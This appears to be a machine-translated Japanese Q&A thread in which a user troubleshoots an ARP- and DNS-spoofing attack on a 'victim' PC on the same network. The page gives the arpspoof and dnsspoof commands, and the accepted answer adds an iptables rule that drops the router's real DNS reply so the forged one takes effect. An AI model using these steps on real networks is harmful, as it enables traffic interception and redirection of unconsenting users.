web-dev-qa-db-ja.com

DNSspoofが機能しない

私の目的はDNSspoofです。

私のネットワークはアドレス192.168.1.1のワイヤレスルーターを使用しており、プライマリDNSはルーターアドレスと同じです。

LinuxでカーネルIPフォワードを有効にしました。

DNSホストファイルはspoofhosts.txtです

173.252.74.22  google.co.in

私の犠牲PCは192.168.1.224です

私はARPspoofを使用しました

#Sudo arpspoof -t 192.168.1.224 192.168.1.1 -i wlan0
#Sudo arpspoof -t 192.168.1.1 192.168.1.224 -i wlan0

dNSspoofを実行しました

ashok@c:~$ Sudo dnsspoof -f spoofhosts.txt -i wlan0 Host 192.168.1.224 and udp port 53
[Sudo] password for ashok: 
dnsspoof: listening on wlan0 [Host 192.168.1.224 and udp port 53]
192.168.1.224.15703 > 192.168.1.1.53:  32219+ A? google.co.in
192.168.1.224.15703 > 192.168.1.1.53:  32219+ A? google.co.in
192.168.1.224.14489 > 192.168.1.1.53:  3788+ A? google.co.in
192.168.1.224.14489 > 192.168.1.1.53:  3788+ A? google.co.in

上記の応答を得ていますが、DNSspoofingは被害者のために機能していません。

ただし、Wiresharkで被害者のシステムを観察しました。 DNS応答がルーターからの応答が自分よりも速いことを確認したため、この情報が得られます。

DNS queries

有効なGoogle IPを使用してルーターから直接応答を返す2行目を参照してください。

これを解決するには?これはDNSspoofコマンドの問題ですか?何が起こった?

8
ashok

ついにできた!

DnsspoofはDNSパケットを変更できません。偽のアドレスを持つ別の準備されたパケットのみを送信できます。しかし、実際のパケットは最初に被害者に届き、被害者のコンピュータはそれだけを考慮に入れます。

問題の解決は、実際のパケットをブロックすることです。 16進数の特定のアドレスでiptablesを使用してこれを作成しました。

# iptables --append FORWARD --match string --algo kmp --hex-string '|e1 e0 68 2d|' --jump DROP

正しい方法でサーバーに接続すると、Wiresharkまたは別のスニファーで16進数でWebサイトのターゲットIPを見つけることができます。

私はこれが最良の方法ではないことを知っていますが、うまくいきます:)

2
Samiec Omega

DNSスプーフィングを試みる前に、関連するすべてのクライアントのDNSキャッシュをフラッシュしてみてください。

Windowsの場合は、ターミナルを次のタイプで開きます:ipconfig /flushdns

Linuxでは、ターミナルを開いて次のように入力します:Sudo /etc/init.d/nscd restart

Mac OS X端末を開いて次のように入力します:Sudo dscacheutil -flushcache

1